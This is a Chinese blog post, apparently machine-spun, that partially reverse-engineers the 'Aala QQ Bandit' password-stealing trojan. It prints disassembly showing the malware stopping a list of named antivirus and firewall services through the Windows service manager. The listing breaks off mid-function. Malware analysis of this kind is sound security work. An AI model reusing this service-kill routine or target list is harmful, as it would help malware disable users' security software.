设为主页 | 加入收藏 | 繁體中文

不完全逆向分析啊拉QQ大盗

  啊拉QQ暴徒有几个部分,各人看一下他的功效:
  运转后封闭QQ,安置后删除自身,过滤反复号码,彻底坠毁防火墙等等.此中我最感兴趣的还是看看啊拉QQ暴徒是怎么坠毁防火墙的,故挑了重点对它举行逆向分析.这个服务端是加了个壳.我对脱壳呆子,所以叫冷血书生帮我脱了.空话少说,下面是反汇编代码:
  Copy code
  .shrink:0040A0AA           mov   eax, offset s_Rsccenter ; "RsCCenter"
  .shrink:0040A0AF           call   sub_4095FC   ;干掉如下防火墙服务..  
  .shrink:0040A0AF
  .shrink:0040A0B4           mov   eax, offset s_Kvsrvxp ; "KVSrvXP"
  .shrink:0040A0B9           call   sub_4095FC    
  .shrink:0040A0B9
  .shrink:0040A0BE           mov   eax, offset s_Kavsvc ; "kavsvc"
  .shrink:0040A0C3           call   sub_4095FC    
  .shrink:0040A0C3
  .shrink:0040A0C8           mov   eax, offset s_Kpfwsvc ; "KPfwSvc"
  .shrink:0040A0CD           call   sub_4095FC    
  .shrink:0040A0CD
  .shrink:0040A0D2           mov   eax, offset s_Kwatchsvc ; "KWatchSvc"
  .shrink:0040A0D7           call   sub_4095FC    
  .shrink:0040A0D7
  .shrink:0040A0DC           mov   eax, offset s_Wscsvc ; "wscsvc"
  .shrink:0040A0E1           call   sub_4095FC    
  .shrink:0040A0E1
  .shrink:0040A0E6           mov   eax, offset s_Sndsrvc ; "SNDSrvc"
  .shrink:0040A0EB           call   sub_4095FC    
  .shrink:0040A0EB
  .shrink:0040A0F0           mov   eax, offset s_Ccproxy ; "ccProxy"
  .shrink:0040A0F5           call   sub_4095FC    
  .shrink:0040A0F5
  .shrink:0040A0FA           mov   eax, offset s_Ccevtmgr ; "ccEvtMgr"
  .shrink:0040A0FF           call   sub_4095FC    
  .shrink:0040A0FF
  .shrink:0040A104           mov   eax, offset s_Ccsetmgr ; "ccSetMgr"
  .shrink:0040A109           call   sub_4095FC    
  .shrink:0040A109
  .shrink:0040A10E           mov   eax, offset s_Spbbcsvc ; "SPBBCSvc"
  .shrink:0040A113           call   sub_4095FC    
  .shrink:0040A113
  .shrink:0040A118           mov   eax, offset s_SymantecCoreL ; "Symantec Core LC"
  .shrink:0040A11D           call   sub_4095FC    
  .shrink:0040A11D
  .shrink:0040A122           mov   eax, offset s_Navapsvc ; "navapsvc"
  .shrink:0040A127           call   sub_4095FC    
  .shrink:0040A127
  .shrink:0040A12C           mov   eax, offset s_Npfmntor ; "NPFMntor"
  .shrink:0040A131           call   sub_4095FC    
  .shrink:0040A131
  .shrink:0040A136           mov   eax, offset s_Mskservice ; "MskService"
  .shrink:0040A13B           call   sub_4095FC    
  .shrink:0040A13B
  .shrink:0040A140           mov   eax, offset s_Mctaskmanager ; "McTaskManager"
  .shrink:0040A145           call   sub_4095FC    
  .shrink:0040A145
  .shrink:0040A14A           mov   eax, offset s_Mcshield ; "McShield"
  .shrink:0040A14F           call   sub_4095FC    
  .shrink:0040A14F
  .shrink:0040A154           mov   eax, offset s_Mcafeeframewo ; "McAfeeFramework"
  .shrink:0040A159           call   sub_4095FC    
  .shrink:0040A159
  .shrink:0040A15E
  .shrink:0040A15E loc_40A15E:                   ; CODE XREF: .shrink:0040A16D j
  .shrink:0040A15E           call   sub_409064
  .shrink:0040A15E
  .shrink:0040A163           push   0BB8h      
  .shrink:0040A168           call   Sleep       ;休眠
  .shrink:0040A168
  .shrink:0040A16D           jmp   short loc_40A15E
  .shrink:0040A16D
  很明显,通过一个参数通报给sub_4095FC这个分支,而这个参数正好是一些罕见的杀毒软件服务称号.所以这个函数应该这样布局:char sub_4095FC(int buffer)(C言语语法)把这个称号通报给sub_4095FC干什么捏?各人请看sub_4095FC这个分支:
  Copy code
  .shrink:004095FC sub_4095FC     proc near      
  .shrink:004095FC                          
  .shrink:004095FC                          
  .shrink:004095FC                          
  .shrink:004095FC                          
  .shrink:004095FC                          
  .shrink:004095FC
  .shrink:004095FC var_4       = dword ptr -4 ;通报进来的参数
  .shrink:004095FC
  .shrink:004095FC           push   ebp
  .shrink:004095FD           mov   ebp, esp
  .shrink:004095FF           push   ecx
  .shrink:00409600           push   ebx
  .shrink:00409601           push   esi
  .shrink:00409602           push   edi
  .shrink:00409603           mov   [ebp+var_4], eax
  .shrink:00409606           mov   eax, [ebp+var_4]
  .shrink:00409609           call   sub_403ED0
  .shrink:00409609
  .shrink:0040960E           xor   eax, eax
  .shrink:00409610           push   ebp
  .shrink:00409611           push   offset s_SUIL_YN@ ; "榕瀄xFF\xFF腽嬅_^[Y]脥@" (这里已经被加密)
  .shrink:00409616           push   dword ptr fs:[eax]
  .shrink:00409619           mov   fs:[eax], esp
  .shrink:0040961C           mov   eax, [ebp+var_4]
  .shrink:0040961F           call   sub_403EE0
  .shrink:0040961F
  .shrink:00409624           mov   esi, eax
  .shrink:00409626           push   0F003Fh       ; dwDesiredAccess
  .shrink:0040962B           push   0           ; lpDatabaseName
  .shrink:0040962D           push   0           ; lpMachineName
  .shrink:0040962F           call   OpenSCManagerA ; 翻开服务办理器
  .shrink:0040962F
  .shrink:00409634           mov   edi, eax     ; 生存句柄到edi
  .shrink:00409636           test   edi, edi     ; 是否翻开成功?
  .shrink:00409638           jbe   short loc_4096A8 ; 翻开成功,连续实行,反之跳到这里
  .shrink:00409638
  .shrink:0040963A           push   0F01FFh       ; dwDesiredAccess
  .shrink:0040963F           push   esi         ; lpServiceName
  .shrink:00409640           push   edi         ; hSCManager
  .shrink:00409641           call   OpenServiceA   ; 翻开一个防火墙的服务
  .shrink:00409641
  .shrink:00409646           mov   esi, eax
  .shrink:00409648           test   esi, esi
  .shrink:0040964A           jbe   short loc_4096A2 ; 翻开堕落 封闭句柄
  .shrink:0040964A
  .shrink:0040964C           push   offset ServiceStatus ; lpServiceStatus
  .shrink:00409651           push   1           ; dwControl
  .shrink:00409653           push   esi         ; hService
  .shrink:00409654           call   ControlService ; 制止人家的防火墙的服务
  .shrink:00409654
  .shrink:00409659           test   eax, eax
  .shrink:0040965B           jz     short loc_4096A8
  .shrink:0040965B
  .shrink:0040965D           push   3E8h         ; dwMilliseconds
  .shrink:00409662           call   Sleep       ; 休眠1000秒
  .shrink:00409662
  .shrink:00409667           jmp   short loc_40967C
  .shrink:00409667
  .shrink:00409669 ; ---------------------------------------------------------------------------
  .shrink:00409669
  .shrink:00409669 loc_409669:                  
  .shrink:00409669           cmp   ServiceStatus.dwCurrentState,3 ;是否是SERVICE_STOP_PENDING形态
  .shrink:00409670           jnz   short loc_40968B
  .shrink:00409670
  .shrink:00409672           push   3E8h         ; dwMilliseconds
  .shrink:00409677           call   Sleep       ;休眠
  .shrink:00409677
  .shrink:0040967C


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: